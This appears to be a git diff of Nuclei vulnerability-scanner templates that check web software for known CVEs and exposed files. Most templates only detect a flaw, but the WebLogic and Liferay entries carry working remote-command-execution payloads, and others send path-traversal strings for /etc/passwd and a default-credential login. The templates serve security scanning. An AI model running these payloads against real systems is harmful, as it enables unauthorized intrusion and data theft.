Accept: */*
Cache-Control: max-age=0
Connection: close
Referer: http://{{Hostname}}:8060/
extractors:
- type: regex
name: endpoint
part: body
internal: true
regex:
- "(?m)/cachestart/.*/jquery/"
matchers:
- type: word
words:
- "BEGIN RSA PRIVATE KEY"
part: body
-22
View File
@@ -1,22 +0,0 @@
id: cve-2020-13379
info:
name: Unauthenticated Grafana DoS
author: pxmme1337
severity: medium
description: The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client.
# Source:- https://www.exploit-db.com/exploits/48638
# WARNING
# This vulnerability results in complete crashing of the grafana-server application.
requests:
- method: GET
path:
- '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
- '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
- "{{BaseURL}}/"
matchers:
- type: status
status:
- 502
+1 -1
View File
@@ -19,7 +19,7 @@ requests:
words:
- "searchers"
- "groups"
condtion: and
condition: and
- type: status
status:
+26
View File
@@ -0,0 +1,26 @@
id: cve-2020-14181
info:
name: User enumeration via insecure Jira endpoint
author: bjhulst
severity: medium
description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint. The affected versions are before version 7.13.6, from version 8.0.0 before 8.5.7, and from version 8.6.0 before 8.12.0.
# Source:- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14181
# This template supports the detection part only.
# Do not test any website without permission
# Do not report without having working poc.
requests:
- method: GET
path:
- "{{BaseURL}}/secure/ViewUserHover.jspa"
matchers-condition: and
matchers:
- type: word
words:
- "User does not exist"
- type: status
status:
- 200
+24
View File
@@ -0,0 +1,24 @@
id: CVE-2020-14864
info:
name: 'Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion'
description: 'Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion'
author: Ivo Palazzolo (@palaziv)
# cvss: 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'
severity: high
requests:
- method: GET
headers:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
path:
- '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies
- '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'
cookie-reuse: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- 'root:[x*]:0:0'
part: body
+46
View File
@@ -0,0 +1,46 @@
id: cve-2020-14882
info:
name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)
author: dwisiswant0
severity: critical
description: |
Vulnerability in the Oracle WebLogic Server
product of Oracle Fusion Middleware (component: Console).
Supported versions that are affected are 10.3.6.0.0,
12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
Easily exploitable vulnerability allows unauthenticated
attacker with network access via HTTP to compromise the server.
Successful attacks of this vulnerability can result in takeover.
# References:
# - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
# - https://twitter.com/jas502n/status/1321416053050667009
# - https://youtu.be/JFVDOIL0YtA
# - https://github.com/jas502n/CVE-2020-14882#eg
requests:
- payloads:
exec:
- "type C:\\Windows\\win.ini" # Windows
- "cat /etc/passwd" # *nix
raw:
- |
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: {{Hostname}}
cmd: exec
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=utf-8
_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22var%20m%20%3D%20java.lang.Class.forName%28%22weblogic.work.ExecuteThread%22%29.getDeclaredMethod%28%22getCurrentWork%22%29%3B%20var%20currThread%20%3D%20java.lang.Thread.currentThread%28%29%3B%20var%20currWork%20%3D%20m.invoke%28currThread%29%3B%20var%20f2%20%3D%20currWork.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3B%20f2.setAccessible%28true%29%3B%20var%20connectionHandler%20%3D%20f2.get%28currWork%29%3B%20var%20f3%20%3D%20connectionHandler.getClass%28%29.getDeclaredField%28%22request%22%29%3B%20f3.setAccessible%28true%29%3B%20var%20request%20%3D%20f3.get%28connectionHandler%29%3B%20var%20command%20%3D%20request.getHeader%28%22cmd%22%29%3B%20var%20response%20%3D%20request.getResponse%28%29%3B%20var%20isWin%20%3D%20java.lang.System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22win%22%29%3B%20var%20listCmd%20%3D%20new%20java.util.ArrayList%28%29%3B%20var%20p%20%3D%20new%20java.lang.ProcessBuilder%28%22%22%29%3B%20if%28isWin%29%7Bp.command%28%22cmd.exe%22%2C%20%22%2Fc%22%2C%20command%29%3B%20%7Delse%7Bp.command%28%22%2Fbin%2Fbash%22%2C%20%22-c%22%2C%20command%29%3B%20%7D%20p.redirectErrorStream%28true%29%3B%20var%20process%20%3D%20p.start%28%29%3B%20var%20output%20%3D%20process.getInputStream%28%29%3B%20var%20scanner%20%3D%20new%20java.util.Scanner%28output%29.useDelimiter%28%22%5C%5C%5C%5CA%22%29%3B%20var%20out%20%3D%20scanner.next%28%29%3B%20var%20outputStream%20%3D%20response.getServletOutputStream%28%29%3B%20outputStream.write%28out.getBytes%28%29%29%3B%20outputStream.flush%28%29%3B%20response.getWriter%28%29.write%28%22%22%29%3B%20currThread.interrupt%28%29%3B%22%29
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
part: body
- type: status
status:
- 200
+36
View File
@@ -0,0 +1,36 @@
id: cve-2020-16952
info:
name: Microsoft SharePoint Server-Side Include (SSI) and ViewState RCE
author: dwisiswant0
severity: critical
# This template supports the detection part only. See references[2].
# References:
# - [1] Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16952
# - [2] https://srcincite.io/pocs/cve-2020-16952.py.txt
# - [3] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952
# - [4] https://github.com/rapid7/metasploit-framework/blob/1a341ae93191ac5f6d8a9603aebb6b3a1f65f107/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md
requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers-condition: and
matchers:
- type: regex
regex:
- "15\\.0\\.0\\.(4571|5275|4351|5056)"
- "16\\.0\\.0\\.(10337|10364|10366)"
# - "16.0.10364.20001"
condition: or
part: body
- type: word
words:
- "MicrosoftSharePointTeamServices"
part: header
- type: status
status:
- 200
- 201
condition: or
+24
View File
@@ -0,0 +1,24 @@
id: cve-2020-24312
info:
name: WordPress Plugin File Manager (wp-file-manager) Backup Disclosure
author: x1m_martijn
severity: high
# NIST: https://nvd.nist.gov/vuln/detail/CVE-2020-24312
# Source: https://zeroaptitude.com/zerodetail/wordpress-plugin-bug-hunting-part-1/
# Note: Manually check content
requests:
- method: GET
path:
- '{{BaseURL}}/wp-content/uploads/wp-file-manager-pro/fm_backup/'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- 'Index of'
+40
View File
@@ -0,0 +1,40 @@
id: cve-2020-2551
info:
name: Unauthenticated Oracle WebLogic Server RCE
author: dwisiswant0
severity: critical
description: |
This template supports the detection part only. See references.
Vulnerability in the Oracle WebLogic Server product of
Oracle Fusion Middleware (component: WLS Core Components).
Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0,
12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability
allows unauthenticated attacker with network access via IIOP
to compromise Oracle WebLogic Server.
Successful attacks of this vulnerability can result
in takeover of Oracle WebLogic Server.
Source/References:
- https://github.com/hktalent/CVE-2020-2551
requests:
- method: GET
path:
- "{{BaseURL}}/console/login/LoginForm.jsp"
- "{{BaseURL}}:7001/console/login/LoginForm.jsp"
matchers-condition: and
matchers:
- type: word
words:
- "10.3.6.0"
- "12.1.3.0"
- "12.2.1.3"
- "12.2.1.4"
condition: or
part: body
- type: status
status:
- 200
+1
View File
@@ -11,6 +11,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"
- "{{BaseURL}}/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua"
matchers:
- type: word
words:
+6 -6
View File
@@ -41,11 +41,11 @@ requests:
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D
matchers-condition: and
matchers:
- type: word
words:
- "Microsoft Corporation"
- "Distributor ID"
- "kern.ostype"
- type: regex
regex:
- "OS Name:.*Microsoft Windows"
- "Distributor ID:"
- "kern\\.ostype"
condition: or
part: body
- type: status
@@ -56,5 +56,5 @@ requests:
part: body
regex:
- "Microsoft Windows (.*)"
- "kern.ostype: (.*)"
- "kern\\.ostype: (.*)"
- "Distributor ID: (.*)"
+58
View File
@@ -0,0 +1,58 @@
id: cve-2020-9047
info:
name: exacqVision Web Service RCE
author: dwisiswant0
severity: high
description: |
This template supports the detection part only. See references.
A vulnerability exists that could allow the execution of
unauthorized code or operating system commands on systems
running exacqVision Web Service versions 20.06.3.0 and prior
and exacqVision Enterprise Manager versions 20.06.4.0 and prior.
An attacker with administrative privileges could potentially
download and run a malicious executable that
could allow OS command injection on the system.
Source/References:
- https://github.com/norrismw/CVE-2020-9047
requests:
- method: GET
path:
- "{{BaseURL}}/version.web"
matchers-condition: and
matchers:
- type: word
words:
- "3.10.4.72058"
- "3.12.4.76544"
- "3.8.2.67295"
- "7.0.2.81005"
- "7.2.7.86974"
- "7.4.3.89785"
- "7.6.4.94391"
- "7.8.2.97826"
- "8.0.6.105408"
- "8.2.2.107285"
- "8.4.3.111614"
- "8.6.3.116175"
- "8.8.1.118913"
- "9.0.3.124620"
- "9.2.0.127940"
- "9.4.3.137684"
- "9.6.7.145949"
- "9.8.4.149166"
- "19.03.3.152166"
- "19.06.4.157118"
- "19.09.4.0"
- "19.12.2.0"
- "20.03.2.0"
- "20.06.3.0"
condition: or
part: body
- type: status
status:
- 200
+29
View File
@@ -0,0 +1,29 @@
id: cve-2020-9344
info:
name: Jira Subversion ALM for enterprise XSS
author: madrobot
severity: medium
description: Subversion ALM for the enterprise before 8.8.2 allows reflected XSS at multiple locations.
# source:- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9344
# https://kintosoft.atlassian.net/wiki/spaces/SVNALM/pages/753565697/Security+Bulletin
# https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-007.txt
requests:
- method: GET
path:
- '{{BaseURL}}/plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
- '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS'
- '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
- '{{BaseURL}}/plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test'
- '{{BaseURL}}/plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- "<script>alert(document.domain)</script>"
part: body
- type: status
status:
- 200
+36
View File
@@ -0,0 +1,36 @@
id: cve-2019-9733
info:
name: Artifactory Access-Admin Login Bypass
author: akshansh
severity: critical
requests:
- raw:
- |
POST /artifactory/ui/auth/login?_spring_security_remember_me=false HTTP/1.1
Host: {{Hostname}}
Content-Length: 60
Accept: application/json, text/plain, */*
X-Requested-With: artUI
serial: 58
X-Forwarded-For: 127.0.0.1
Request-Agent: artifactoryUI
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Content-Type: application/json
Origin: http://{{Hostname}}
Referer: http://{{Hostname}}/artifactory/webapp/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"user":"access-admin","password":"password","type":"login"}
matchers-condition: and
matchers:
- type: word
words:
- '"username": "access-admin"'
part: body
- type: status
status:
- 200
+28
View File
@@ -0,0 +1,28 @@
id: cve-2020-0618
info:
name: RCE in SQL Server Reporting Services
author: joeldeleep
severity: high
# THIS TEMPLATE IS ONLY FOR DETECTING
# To carry out further attacks, please see reference[1] below.
# This template works by guessing user ID.
# References:
# - [1] https://github.com/euphrat1ca/CVE-2020-0618
# - [2] https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/
requests:
- method: GET
path:
- "{{BaseURL}}/ReportServer/Pages/ReportViewer.aspx"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "view report"
part: body
+2 -1
View File
@@ -2,7 +2,7 @@ id: dir-listing
info:
name: Directory listing enabled
author: _harleo
author: _harleo & pentest_swissky
severity: info
requests:
@@ -12,5 +12,6 @@ requests:
matchers:
- type: word
words:
- "Directory listing for"
- "Index of /"
- "[To Parent Directory]"
+27
View File
@@ -0,0 +1,27 @@
id: domcfg-page
info:
name: Lotus Domino Configuration Page
author: gevakun
severity: low
# Reference:
# https://twitter.com/Wh11teW0lf/status/1295594085445709824
# Do not test any website without permission
requests:
- method: GET
path:
- "{{BaseURL}}/domcfg.nsf"
matchers-condition: and
matchers:
- type: word
words:
- Web Server Configuration
- Mapping
- Mappings
condition: and
- type: status
status:
- 200
+22
View File
@@ -0,0 +1,22 @@
id: elmah-log-file
info:
name: elmah.axd Disclosure
author: shine
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/elmah.axd"
matchers-condition: and
matchers:
- type: word
words:
- 'Error Log for'
- type: status
status:
- 200
+5
View File
@@ -11,6 +11,7 @@ requests:
- "{{BaseURL}}/.svn/entries"
- "{{BaseURL}}/.svn/prop-base/"
- "{{BaseURL}}/.svn/text-base/"
matchers-condition: and
matchers:
- type: regex
@@ -20,3 +21,7 @@ requests:
- type: status
status:
- 200
- type: dsl
dsl:
- 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'
+6 -1
View File
@@ -19,7 +19,12 @@ requests:
Content-Length: 1
Connection: close
matchers-condition: and
matchers:
- type: word
words:
- "[core]"
- "[core]"
- type: dsl
dsl:
- 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'
+27
View File
@@ -0,0 +1,27 @@
id: magento-config
info:
name: Magento Config Disclosure
author: geeknik
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/app/etc/local.xml"
- "{{BaseURL}}/store/app/etc/local.xml"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "text/xml"
part: header
- type: word
words:
- "Magento"
part: body
+31
View File
@@ -0,0 +1,31 @@
id: php_errors
info:
name: PHP errors
author: w4cky_
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: word
words:
- "Fatal error"
- "Call to undefined method"
- "You have an error in your SQL syntax;"
- "MySQL server version for the right syntax to use near"
- "PHP Warning"
- "PHP Error"
- "Warning: mysql_connect():"
- "Warning: mysql_query()"
- "Warning: pg_connect():"
- "failed to open stream: HTTP request failed"
- "SAFE MODE Restriction in effect."
- "Cannot modify header information"
- "ORA-00921: unexpected end of SQL command"
- "ORA-00933: SQL command not properly ended"
- "ORA-00936: missing expression"
- "ORA-12541: TNS:no listener"
+3 -1
View File
@@ -2,7 +2,7 @@ id: server-status-localhost
info:
name: Server Status Disclosure
author: bauthard
author: bauthard & geeknik
severity: low
requests:
@@ -14,6 +14,8 @@ requests:
X-Remote-Addr: "127.0.0.1"
X-Forwarded-For: "127.0.0.1"
X-Originating-IP: "127.0.0.1"
X-Host: "127.0.0.1"
X-Forwarded-Host: "127.0.0.1"
path:
- "{{BaseURL}}/server-status"
matchers:
+24
View File
@@ -0,0 +1,24 @@
id: shell-history
info:
name: Shell History
author: pentest_swissky
severity: low
description: Discover history for bash and zsh file.
requests:
- method: GET
redirects: true
max-redirects: 5
path:
- "{{BaseURL}}/.bash_history"
- "{{BaseURL}}/.zsh_history"
matchers-condition: and
matchers:
- type: word
words:
- "chmod "
- type: status
status:
- 200
+18
View File
@@ -0,0 +1,18 @@
id: wsdl-detect
info:
name: wsdl-detect
author: jarijaas
severity: info
# This detects web services that have WSDL (https://www.w3.org/TR/wsdl/)
# For instance, SOAP services, such as: https://docs.microsoft.com/en-us/xamarin/xamarin-forms/data-cloud/web-services/asmx
requests:
- method: GET
path:
- "{{BaseURL}}/?wsdl"
matchers:
- type: word
words:
- "wsdl:definitions"
+29
View File
@@ -0,0 +1,29 @@
id: arbitrary-file-read
info:
name: Arbitrary File Read
author: Sushant Kamble (https://in.linkedin.com/in/sushantkamble)
severity: high
description: Searches for /etc/passwd on passed URLs.
requests:
- method: GET
path:
- "{{BaseURL}}/?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
- "{{BaseURL}}/?redirect=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
- "{{BaseURL}}/?page=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
- "{{BaseURL}}/?redirect=..%2f..%2f..%2f..%2fwindows/win.ini"
- "{{BaseURL}}/?page=..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
- "{{BaseURL}}/?url=..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
part: body
+35
View File
@@ -0,0 +1,35 @@
id: directory-traversal
info:
name: Generic Directory Traversal
author: pentest_swissky
severity: high
description: Detect basic directory traversal leading to a leak of sensitive files.
requests:
- method: GET
path:
- "{{BaseURL}}/..%5cetc/passwd"
- "{{BaseURL}}/..%5c..%5cetc/passwd"
- "{{BaseURL}}/..%5c..%5c..%5cetc/passwd"
- "{{BaseURL}}/..%5c..%5c..%5c..%5cetc/passwd"
- "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5cetc/passwd"
- "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
- "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
- "{{BaseURL}}/static/..%5cetc/passwd"
- "{{BaseURL}}/static/..%5c..%5cetc/passwd"
- "{{BaseURL}}/static/..%5c..%5c..%5cetc/passwd"
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5cetc/passwd"
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
- "{{BaseURL}}/./../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
+24
View File
@@ -0,0 +1,24 @@
id: generic-lfi-fuzzing
info:
name: Generic LFI Test
author: geeknik
severity: high
description: A generic test for Local File Inclusion
requests:
- method: GET
path:
- "/?q=../../../etc/passwd&s=../../../etc/passwd&search=../../../etc/passwd&id=&action=../../../etc/passwd&keyword=../../../etc/passwd&query=../../../etc/passwd&page=../../../etc/passwd&keywords=../../../etc/passwd&url=../../../etc/passwd&view=../../../etc/passwd&cat=../../../etc/passwd&name=../../../etc/passwd&key=../../../etc/passwd&p=../../../etc/passwd"
- "/?q=../../../etc/passwd%00&s=../../../etc/passwd%00&search=../../../etc/passwd%00&id=../../../etc/passwd%00&action=../../../etc/passwd%00&keyword=../../../etc/passwd%00&query=../../../etc/passwd%00&page=../../../etc/passwd%00&keywords=../../../etc/passwd%00&url=../../../etc/passwd%00&view=../../../etc/passwd%00&cat=../../../etc/passwd%00&name=../../../etc/passwd%00&key=../../../etc/passwd%00&p=../../../etc/passwd%00"
- "/?q=%252e%252e%252fetc%252fpasswd&s=%252e%252e%252fetc%252fpasswd&search=%252e%252e%252fetc%252fpasswd&id=%252e%252e%252fetc%252fpasswd&action=%252e%252e%252fetc%252fpasswd&keyword=%252e%252e%252fetc%252fpasswd&query=%252e%252e%252fetc%252fpasswd&page=%252e%252e%252fetc%252fpasswd&keywords=%252e%252e%252fetc%252fpasswd&url=%252e%252e%252fetc%252fpasswd&view=%252e%252e%252fetc%252fpasswd&cat=%252e%252e%252fetc%252fpasswd&name=%252e%252e%252fetc%252fpasswd&key=%252e%252e%252fetc%252fpasswd&p=%252e%252e%252fetc%252fpasswd"
- "/?q=%252e%252e%252fetc%252fpasswd%00&s=%252e%252e%252fetc%252fpasswd%00&search=%252e%252e%252fetc%252fpasswd%00&id=%252e%252e%252fetc%252fpasswd%00&action=%252e%252e%252fetc%252fpasswd%00&keyword=%252e%252e%252fetc%252fpasswd%00&query=%252e%252e%252fetc%252fpasswd%00&page=%252e%252e%252fetc%252fpasswd%00&keywords=%252e%252e%252fetc%252fpasswd%00&url=%252e%252e%252fetc%252fpasswd%00&view=%252e%252e%252fetc%252fpasswd%00&cat=%252e%252e%252fetc%252fpasswd%00&name=%252e%252e%252fetc%252fpasswd%00&key=%252e%252e%252fetc%252fpasswd%00&p=%252e%252e%252fetc%252fpasswd%00"
- "/?q=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&s=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&search=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&id=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&action=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&keyword=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&query=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&keywords=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&url=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&view=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&cat=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&name=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&key=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&p=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
- "/?q=....//....//etc/passwd&s=....//....//etc/passwd&search=....//....//etc/passwd&id=....//....//etc/passwd&action=....//....//etc/passwd&keyword=....//....//etc/passwd&query=....//....//etc/passwd&page=....//....//etc/passwd&keywords=....//....//etc/passwd&url=....//....//etc/passwd&view=....//....//etc/passwd&cat=....//....//etc/passwd&name=....//....//etc/passwd&key=....//....//etc/passwd&p=....//....//etc/passwd"
- "/?q=..///////..////..//////etc/passwd&s=..///////..////..//////etc/passwd&search=..///////..////..//////etc/passwd&id=..///////..////..//////etc/passwd&action=..///////..////..//////etc/passwd&keyword=..///////..////..//////etc/passwd&query=..///////..////..//////etc/passwd&page=..///////..////..//////etc/passwd&keywords=..///////..////..//////etc/passwd&url=..///////..////..//////etc/passwd&view=..///////..////..//////etc/passwd&cat=..///////..////..//////etc/passwd&name=..///////..////..//////etc/passwd&key=..///////..////..//////etc/passwd&p=..///////..////..//////etc/passwd"
